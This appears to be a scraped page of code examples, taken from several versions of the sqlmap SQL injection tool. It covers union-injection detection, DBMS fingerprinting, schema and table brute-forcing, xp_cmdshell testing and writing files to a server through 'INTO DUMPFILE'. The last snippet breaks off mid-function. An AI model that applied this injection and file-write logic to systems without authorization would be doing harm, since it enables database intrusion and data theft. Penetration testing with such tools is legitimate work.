Пример #1
0
def unionTest(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target URL is affected by an union
    SQL injection vulnerability. The test is done up to 3*50 times
    """

    if conf.direct:
        return

    negativeLogic = kb.negativeLogic
    kb.technique = PAYLOAD.TECHNIQUE.UNION

    try:
        if negativeLogic:
            pushValue(kb.negativeLogic)
            pushValue(conf.string)
            pushValue(conf.code)

            kb.negativeLogic = False
            conf.string = conf.code = None

        validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
    finally:
        if negativeLogic:
            conf.code = popValue()
            conf.string = popValue()
            kb.negativeLogic = popValue()

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload)

    return validPayload, vector
Пример #2
0
def unionTest(comment, place, parameter, value, prefix, suffix):
    """
    This method tests if the target URL is affected by an union
    SQL injection vulnerability. The test is done up to 3*50 times
    """

    if conf.direct:
        return

    negativeLogic = kb.negativeLogic
    kb.technique = PAYLOAD.TECHNIQUE.UNION

    try:
        if negativeLogic:
            pushValue(kb.negativeLogic)
            pushValue(conf.string)
            pushValue(conf.code)

            kb.negativeLogic = False
            conf.string = conf.code = None

        validPayload, vector = _unionTestByCharBruteforce(
            comment, place, parameter, value, prefix, suffix)
    finally:
        if negativeLogic:
            conf.code = popValue()
            conf.string = popValue()
            kb.negativeLogic = popValue()

    if validPayload:
        validPayload = agent.removePayloadDelimiters(validPayload)

    return validPayload, vector
Пример #3
0
    def getSchema(self):
        infoMsg = "enumerating database management system schema"
        logger.info(infoMsg)

        try:
            pushValue(conf.db)
            pushValue(conf.tbl)
            pushValue(conf.col)

            kb.data.cachedTables = {}
            kb.data.cachedColumns = {}

            self.getTables()

            infoMsg = "fetched tables: "
            infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
                    Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
                    else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
                    kb.data.cachedTables.items()])
            logger.info(infoMsg)

            for db, tables in kb.data.cachedTables.items():
                for tbl in tables:
                    conf.db = db
                    conf.tbl = tbl

                    self.getColumns()
        finally:
            conf.col = popValue()
            conf.tbl = popValue()
            conf.db = popValue()

        return kb.data.cachedColumns
Пример #4
0
    def getSchema(self):
        infoMsg = "enumerating database management system schema"
        logger.info(infoMsg)

        pushValue(conf.db)
        pushValue(conf.tbl)
        pushValue(conf.col)

        conf.db = None
        conf.tbl = None
        conf.col = None
        kb.data.cachedTables = {}
        kb.data.cachedColumns = {}

        self.getTables()

        infoMsg = "fetched tables: "
        infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
                   Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
                   else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
                   kb.data.cachedTables.items()])
        logger.info(infoMsg)

        for db, tables in kb.data.cachedTables.items():
            for tbl in tables:
                conf.db = db
                conf.tbl = tbl

                self.getColumns()

        conf.col = popValue()
        conf.tbl = popValue()
        conf.db = popValue()

        return kb.data.cachedColumns
Пример #5
0
def heuristicCheckDbms(injection):
    retVal = None

    if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
        pushValue(kb.injection)
        kb.injection = injection
        randStr1, randStr2 = randomStr(), randomStr()

        for dbms in getPublicTypeMembers(DBMS, True):
            Backend.forceDbms(dbms)

            if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
                if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
                    retVal = dbms
                    break

        Backend.flushForcedDbms()
        kb.injection = popValue()

    if retVal:
        infoMsg = "heuristic test showed that the back-end DBMS "
        infoMsg += "could be '%s' " % retVal
        logger.info(infoMsg)

    return retVal
Пример #6
0
    def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        logger.debug(u"将文件编码为十六进制字符串值")

        fcEncodedList = self.fileEncode(wFile, "hex", True)
        fcEncodedStr = fcEncodedList[0]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
            warnMsg = u"注入的是一个GET参数,要写入的文件十六进制值为%d字节," % fcEncodedStrLen
            warnMsg += u"这可能会导致文件写入过程中的错误"
            logger.warn(warnMsg)

        debugMsg = u"将%s文件内容导出到文件'%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        pushValue(kb.forceWhere)
        kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
        sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
        unionUse(sqlQuery, unpack=False)
        kb.forceWhere = popValue()

        warnMsg = u"将文件中的垃圾字符(乱码)作为UNION查询的剩余字符"
        singleTimeWarnMessage(warnMsg)

        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
Пример #7
0
def setHandler():
    """
    Detect which is the target web application back-end database
    management system.
    """

    count     = 0
    dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" )
    dbmsObj   = [
                  ( MYSQL_ALIASES, MySQLMap, MySQLConn ),
                  ( ORACLE_ALIASES, OracleMap, OracleConn ),
                  ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
                  ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
                  ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
                  ( ACCESS_ALIASES, AccessMap, AccessConn ),
                  ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
                  ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
                  ( SYBASE_ALIASES, SybaseMap, SybaseConn ),
                ]

    if Backend.getIdentifiedDbms() is not None:
        for i in xrange(len(dbmsObj)):
            dbmsAliases, _, _ = dbmsObj[i]

            if Backend.getIdentifiedDbms().lower() in dbmsAliases:
                if i > 0:
                    pushValue(dbmsObj[i])
                    dbmsObj.remove(dbmsObj[i])
                    dbmsObj.insert(0, popValue())

                break

    for dbmsAliases, dbmsMap, dbmsConn in dbmsObj:
        if conf.dbms and conf.dbms not in dbmsAliases:
            debugMsg  = "skipping test for %s" % dbmsNames[count]
            logger.debug(debugMsg)

            count += 1

            continue

        handler = dbmsMap()
        conf.dbmsConnector = dbmsConn()

        if conf.direct:
            logger.debug("forcing timeout to 10 seconds")
            conf.timeout = 10

            conf.dbmsConnector.connect()

        if handler.checkDbms():
            conf.dbmsHandler = handler

            break
        else:
            conf.dbmsConnector = None

    # At this point back-end DBMS is correctly fingerprinted, no need
    # to enforce it anymore
    Backend.flushForcedDbms()
Пример #8
0
def goError(expression, suppressOutput=False, returnPayload=False):
    """
    Retrieve the output of a SQL query taking advantage of an error-based
    SQL injection vulnerability on the affected parameter.
    """

    result = None

    if suppressOutput:
        pushValue(conf.verbose)
        conf.verbose = 0

    if conf.direct:
        return direct(expression), None

    condition = (
                  kb.resumedQueries and conf.url in kb.resumedQueries.keys()
                  and expression in kb.resumedQueries[conf.url].keys()
                )

    if condition:
        result = resume(expression, None)

    if not result:
        result = errorUse(expression, returnPayload)

        if not returnPayload:
            dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result)))

    if suppressOutput:
        conf.verbose = popValue()

    return result
Пример #9
0
    def _xpCmdshellTest(self):
        threadData = getCurrentThreadData()
        pushValue(threadData.disableStdOut)
        threadData.disableStdOut = True

        logger.info("testing if xp_cmdshell extended procedure is usable")
        output = self.xpCmdshellEvalCmd("echo 1")

        if output == "1":
            logger.info("xp_cmdshell extended procedure is usable")
        elif isNoneValue(output) and conf.dbmsCred:
            errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath(
            )
            errMsg += "storing console output within the back-end file system "
            errMsg += "does not have writing permissions for the DBMS process. "
            errMsg += "You are advised to manually adjust it with option "
            errMsg += "'--tmp-path' or you won't be able to retrieve "
            errMsg += "the command(s) output"
            logger.error(errMsg)
        elif isNoneValue(output):
            logger.error("unable to retrieve xp_cmdshell output")
        else:
            logger.info("xp_cmdshell extended procedure is usable")

        threadData.disableStdOut = popValue()
Пример #10
0
    def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        logger.debug("encoding file to its hexadecimal string value")

        fcEncodedList = self.fileEncode(wFile, "hex", True)
        fcEncodedStr = fcEncodedList[0]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
            warnMsg = "the injection is on a GET parameter and the file "
            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
            warnMsg += "bytes, this might cause errors in the file "
            warnMsg += "writing process"
            logger.warn(warnMsg)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        pushValue(kb.forceWhere)
        kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
        sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
        unionUse(sqlQuery, unpack=False)
        kb.forceWhere = popValue()

        warnMsg = "expect junk characters inside the "
        warnMsg += "file as a leftover from UNION query"
        singleTimeWarnMessage(warnMsg)

        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
Пример #11
0
def heuristicCheckDbms(injection):
    retVal = None

    pushValue(kb.injection)
    kb.injection = injection
    randStr1, randStr2 = randomStr(), randomStr()

    for dbms in getPublicTypeMembers(DBMS, True):
        Backend.forceDbms(dbms)

        if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
            if not checkBooleanExpression(
                "(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)
            ):
                retVal = dbms
                break

    Backend.flushForcedDbms()
    kb.injection = popValue()

    if retVal:
        infoMsg = (
            "heuristic (extended) test shows that the back-end DBMS "
        )  # not as important as "parsing" counter-part (because of false-positives)
        infoMsg += "could be '%s' " % retVal
        logger.info(infoMsg)

    return retVal
Пример #12
0
    def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        logger.debug("encoding file to its hexadecimal string value")

        fcEncodedList = self.fileEncode(wFile, "hex", True)
        fcEncodedStr = fcEncodedList[0]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
            warnMsg = "the injection is on a GET parameter and the file "
            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
            warnMsg += "bytes, this might cause errors in the file "
            warnMsg += "writing process"
            logger.warn(warnMsg)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType,
                                                                   dFile)
        logger.debug(debugMsg)

        pushValue(kb.forceWhere)
        kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
        sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
        unionUse(sqlQuery, unpack=False)
        kb.forceWhere = popValue()

        warnMsg = "expect junk characters inside the "
        warnMsg += "file as a leftover from UNION query"
        singleTimeWarnMessage(warnMsg)

        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
Пример #13
0
def columnExists(columnFile):
    if not conf.tbl:
        errMsg = "missing table parameter"
        raise sqlmapMissingMandatoryOptionException, errMsg

    columns = getFileItems(columnFile)
    if conf.db and '(*)' not in conf.db:
        table = "%s.%s" % (conf.db, conf.tbl)
    else:
        table = conf.tbl

    retVal = []
    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

    pushValue(conf.verbose)
    conf.verbose = 0
    count = 0
    length = len(columns)

    for column in columns:
        query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s)", (column, table)))
        query = agent.suffixQuery(query)
        result = Request.queryPage(agent.payload(newValue=query))

        if result:
            infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), column)
            infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg)))
            dataToStdout(infoMsg, True)
            retVal.append(column)

        count += 1
        status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
        dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)

    conf.verbose = popValue()

    dataToStdout("\n", True)

    if not retVal:
        warnMsg = "no column found"
        logger.warn(warnMsg)
    else:
        columns = {}

        for column in retVal:
            query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s WHERE %s>0)", (column, table, column)))
            query = agent.suffixQuery(query)
            result = Request.queryPage(agent.payload(newValue=query))

            if result:
                columns[column] = 'numeric'
            else:
                columns[column] = 'non-numeric'

        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

    return kb.data.cachedColumns
Пример #14
0
def setHandler():
    """
    Detect which is the target web application back-end database
    management system.
    """

    count     = 0
    dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" )
    dbmsMap   = [
                  ( MYSQL_ALIASES, MySQLMap, MySQLConn ),
                  ( ORACLE_ALIASES, OracleMap, OracleConn ),
                  ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
                  ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
                  ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
                  ( ACCESS_ALIASES, AccessMap, AccessConn ),
                  ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
                  ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
                  ( SYBASE_ALIASES, SybaseMap, SybaseConn ),
                ]

    if kb.htmlFp:
        for i in xrange(len(dbmsMap)):
            dbmsAliases, _, _ = dbmsMap[i]
            if kb.htmlFp[-1].lower() in dbmsAliases:
                if i > 0:
                    pushValue(dbmsMap[i])
                    dbmsMap.remove(dbmsMap[i])
                    dbmsMap.insert(0, popValue())
                break


    for dbmsAliases, dbmsMap, dbmsConn in dbmsMap:
        if conf.dbms and conf.dbms not in dbmsAliases:
            debugMsg  = "skipping test for %s" % dbmsNames[count]
            logger.debug(debugMsg)

            count += 1

            continue

        kb.misc.handler = handler = dbmsMap()
        conf.dbmsConnector = dbmsConn()

        if conf.direct:
            logger.debug("forcing timeout to 10 seconds")
            conf.timeout = 10

            conf.dbmsConnector.connect()

        if handler.checkDbms():
            if not conf.dbms or conf.dbms in dbmsAliases:
                kb.dbmsDetected = True

                conf.dbmsHandler = handler

                return
        else:
            conf.dbmsConnector = None
Пример #15
0
def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
    """

    retVal = injection

    if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\
      or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])):
#      or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getIdentifiedDbms():
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
        infoMsg += "parameter '%s' is a false positive" % injection.parameter
        logger.info(infoMsg)

        def _():
            return int(randomInt(2)) + 1

        kb.injection = injection

        # Simple arithmetic operations which should show basic
        # arithmetic ability of the backend if it's really injectable
        for i in xrange(1 + conf.level / 2):
            randInt1, randInt2, randInt3 = (_() for j in xrange(3))

            # Just in case (also, they have to be different than 0 because of the last test)
            while randInt1 == randInt2:
                randInt2 = _()

            if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)):
                retVal = None
                break
            elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))):
                retVal = None
                break
            elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)):
                retVal = None
                break
            elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)):
                retVal = None
                break

        if retVal is None:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

            if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                if all(_.__name__ != "between" for _ in kb.tamperFunctions):
                    warnMsg = "there is a possibility that the character '>' is "
                    warnMsg += "filtered by the back-end server. You can try "
                    warnMsg += "to rerun with '--tamper=between'"
                    logger.warn(warnMsg)

        kb.injection = popValue()

    return retVal
Пример #16
0
def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
    """
    Called each time sqlmap inject a SQL query on the SQL injection
    affected parameter. It can call a function to retrieve the output
    through inband SQL injection (if selected) and/or blind SQL injection
    (if selected).
    """

    if suppressOutput:
        pushValue(conf.verbose)
        conf.verbose = 0

    if conf.direct:
        value = direct(expression)
    else:
        expression = cleanQuery(expression)
        expression = expandAsteriskForColumns(expression)
        value      = None

        expression = expression.replace("DISTINCT ", "")

        if error and conf.errorTest:
            value = goError(expression)

            if not value:
                warnMsg  = "for some reason(s) it was not possible to retrieve "
                warnMsg += "the query output through error SQL injection "
                warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition is not None else "blind")
                logger.warn(warnMsg)

        if inband and kb.unionPosition is not None and not value:
            value = __goInband(expression, expected, sort, resumeValue, unpack, dump)

            if not value:
                warnMsg  = "for some reason(s) it was not possible to retrieve "
                warnMsg += "the query output through inband SQL injection "
                warnMsg += "technique, sqlmap is going blind"
                logger.warn(warnMsg)

        oldParamFalseCond   = kb.unionFalseCond
        oldParamNegative    = kb.unionNegative
        kb.unionFalseCond   = False
        kb.unionNegative    = False

        if blind and not value:
            value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)

        kb.unionFalseCond = oldParamFalseCond
        kb.unionNegative  = oldParamNegative

        if value and isinstance(value, basestring):
            value = value.strip()

    if suppressOutput:
        conf.verbose = popValue()

    return value
Пример #17
0
def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
    """

    retVal = injection

    if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\
      or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\
      or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getDbms():
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
        infoMsg += "parameter '%s' is a false positive" % injection.parameter
        logger.info(infoMsg)

        def _():
            return int(randomInt(2)) + 1

        kb.injection = injection

        # Simple arithmetic operations which should show basic
        # arithmetic ability of the backend if it's really injectable
        for i in xrange(1 + conf.level / 2):
            randInt1, randInt2, randInt3 = (_() for j in xrange(3))

            # Just in case (also, they have to be different than 0 because of the last test)
            while randInt1 == randInt2:
                randInt2 = _()

            if not checkBooleanExpression(
                    "(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)):
                retVal = None
                break
            elif checkBooleanExpression(
                    "%d>(%d+%d)" %
                (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))):
                retVal = None
                break
            elif checkBooleanExpression(
                    "(%d+%d)>%d" % (randInt3, min(
                        randInt1, randInt2), randInt1 + randInt2 + randInt3)):
                retVal = None
                break
            elif not checkBooleanExpression(
                    "%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)):
                retVal = None
                break

        if retVal is None:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

        kb.injection = popValue()

    return retVal
Пример #18
0
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO

    for count in range(lowerCount, upperCount+1):
        query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, conf.uChar)
        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
        page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
        ratio = comparison(page, True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    ratios.pop(ratios.index(min_))
    ratios.pop(ratios.index(max_))

    deviation = stdev(ratios)

    if abs(max_ - min_) < MIN_STATISTICAL_RANGE:
        return None

    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
    minItem, maxItem = None, None

    for item in items:
        if item[1] == min_:
            minItem = item
        elif item[1] == max_:
            maxItem = item

    if min_ < lower:
        retVal = minItem[0]

    if max_ > upper:
        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
            retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
        logger.info(infoMsg)

    return retVal
Пример #19
0
def checkFalsePositives(injection):
    """
    Checks for false positives (only in single special cases)
    """

    retVal = injection

    if (
        len(injection.data) == 1
        and any(
            map(
                lambda x: x in injection.data,
                [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED],
            )
        )
        or len(injection.data) == 2
        and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))
        or len(injection.data) == 1
        and "Generic" in injection.data.values()[0].title
        and not Backend.getDbms()
    ):
        pushValue(kb.injection)

        infoMsg = "checking if the injection point on %s " % injection.place
        infoMsg += "parameter '%s' is a false positive" % injection.parameter
        logger.info(infoMsg)

        def _():
            return int(randomInt(2)) + 1

        kb.injection = injection
        randInt1, randInt2, randInt3 = (_() for i in xrange(3))

        # Just in case (also, they have to be different than 0 because of the last test)
        while randInt1 == randInt2:
            randInt2 = _()

        # Simple arithmetic operations which should show basic
        # arithmetic ability of the backend if it's really injectable
        if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)):
            retVal = None
        elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))):
            retVal = None
        elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)):
            retVal = None
        elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)):
            retVal = None

        if retVal is None:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

        kb.injection = popValue()

    return retVal
Пример #20
0
def checkSuhosinPatch(injection):
    """
    Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
    """

    if injection.place == PLACE.GET:
        pushValue(kb.injection)

        kb.injection = injection
        randInt = randomInt()

        if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
            warnMsg = "parameter length constraint "
            warnMsg += "mechanism detected (e.g. Suhosin patch). "
            warnMsg += "Potential problems in enumeration phase can be expected"
            logger.warn(warnMsg)

        kb.injection = popValue()
Пример #21
0
def checkSuhoshinPatch(injection):
    """
    Checks for existence of Suhoshin-patch (and alike) protection mechanism(s)
    """

    if injection.place == PLACE.GET:
        pushValue(kb.injection)

        kb.injection = injection
        randInt = randomInt()

        _ = " " * (SUHOSHIN_MAX_VALUE_LENGTH / 2)
        if not checkBooleanExpression("%d%s=%s%d" % (randInt, _, _, randInt)):
            warnMsg = "parameter length constraint "
            warnMsg += "mechanism detected (e.g. Suhoshin patch). "
            warnMsg += "Potential problems in enumeration phase can be expected"
            logger.warn(warnMsg)

        kb.injection = popValue()
Пример #22
0
def tableExists(tableFile):
    tables = getFileItems(tableFile)
    retVal = []
    infoMsg = "checking table existence using items from '%s'" % tableFile
    logger.info(infoMsg)

    pushValue(conf.verbose)
    conf.verbose = 0
    count = 0
    length = len(tables)

    for table in tables:
        if conf.db and '(*)' not in conf.db:
            table = "%s.%s" % (conf.db, table)
        query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %d FROM %s)", (randomInt(1), table)))
        query = agent.suffixQuery(query)
        result = Request.queryPage(agent.payload(newValue=query))

        if result:
            infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), table)
            infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg)))
            dataToStdout(infoMsg, True)
            retVal.append(table)

        count += 1
        status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
        dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)

    conf.verbose = popValue()

    dataToStdout("\n", True)

    if not retVal:
        warnMsg = "no table found"
        logger.warn(warnMsg)
    else:
        for item in retVal:
            if not kb.data.cachedTables.has_key(conf.db):
                kb.data.cachedTables[conf.db] = [item]
            else:
                kb.data.cachedTables[conf.db].append(item)

    return kb.data.cachedTables
Пример #23
0
    def __xpCmdshellTest(self):
        threadData = getCurrentThreadData()
        pushValue(threadData.disableStdOut)
        threadData.disableStdOut = True

        logger.info("testing if xp_cmdshell extended procedure is usable")
        output = self.evalCmd("echo 1")

        if isNoneValue(output):
            errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
            errMsg += "storing console output within the back-end file system "
            errMsg += "does not have writing permissions for the DBMS process. "
            errMsg += "You are advised to manually adjust it with option "
            errMsg += "--tmp-path switch or you will not be able to retrieve "
            errMsg += "the commands output"
            logger.error(errMsg)
        else:
            logger.info("xp_cmdshell extended procedure is usable")

        threadData.disableStdOut = popValue()
Пример #24
0
def search(dork):
    pushValue(kb.redirectChoice)
    kb.redirectChoice = REDIRECTION.YES

    try:
        return _search(dork)
    except SqlmapBaseException as ex:
        if conf.proxyList:
            logger.critical(getSafeExString(ex))

            warnMsg = "changing proxy"
            logger.warn(warnMsg)

            conf.proxy = None

            setHTTPHandlers()
            return search(dork)
        else:
            raise
    finally:
        kb.redirectChoice = popValue()
Пример #25
0
def search(dork):
    pushValue(kb.redirectChoice)
    kb.redirectChoice = REDIRECTION.YES

    try:
        return _search(dork)
    except SqlmapBaseException as ex:
        if conf.proxyList:
            logger.critical(getSafeExString(ex))

            warnMsg = "changing proxy"
            logger.warn(warnMsg)

            conf.proxy = None

            setHTTPHandlers()
            return search(dork)
        else:
            raise
    finally:
        kb.redirectChoice = popValue()
Пример #26
0
def fileExists(pathFile):
    retVal = []

    message = "which common files file do you want to use?\n"
    message += "[1] default '%s' (press Enter)\n" % pathFile
    message += "[2] custom"
    choice = readInput(message, default='1')

    if choice == '2':
        message = "what's the custom common files file location?\n"
        pathFile = readInput(message) or pathFile

    infoMsg = "checking files existence using items from '%s'" % pathFile
    logger.info(infoMsg)

    paths = getFileItems(pathFile, unique=True)

    kb.bruteMode = True

    try:
        conf.dbmsHandler.readFile(randomStr())
    except SqlmapNoneDataException:
        pass
    except:
        kb.bruteMode = False
        raise

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(paths)
    threadData.shared.files = []

    def fileExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                path = ntToPosixSlashes(paths[threadData.shared.count])
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            try:
                result = unArrayizeValue(conf.dbmsHandler.readFile(path))
            except SqlmapNoneDataException:
                result = None

            kb.locks.io.acquire()

            if not isNoneValue(result):
                threadData.shared.files.append(result)

                if not conf.api:
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (
                        time.strftime("%X"), path)
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (
                    threadData.shared.count, threadData.shared.limit,
                    round(100.0 * threadData.shared.count /
                          threadData.shared.limit))
                dataToStdout(
                    "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
                    True)

            kb.locks.io.release()

    try:
        pushValue(logger.getEffectiveLevel())
        logger.setLevel(logging.CRITICAL)

        runThreads(conf.threads, fileExistsThread, threadChoice=True)
    except KeyboardInterrupt:
        warnMsg = "user aborted during file existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warn(warnMsg)
    finally:
        kb.bruteMode = False
        logger.setLevel(popValue())

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.files:
        warnMsg = "no file(s) found"
        logger.warn(warnMsg)
    else:
        retVal = threadData.shared.files

    return retVal
Пример #27
0
def _findUnionCharCount(comment,
                        place,
                        parameter,
                        value,
                        prefix,
                        suffix,
                        where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    @stackedmethod
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
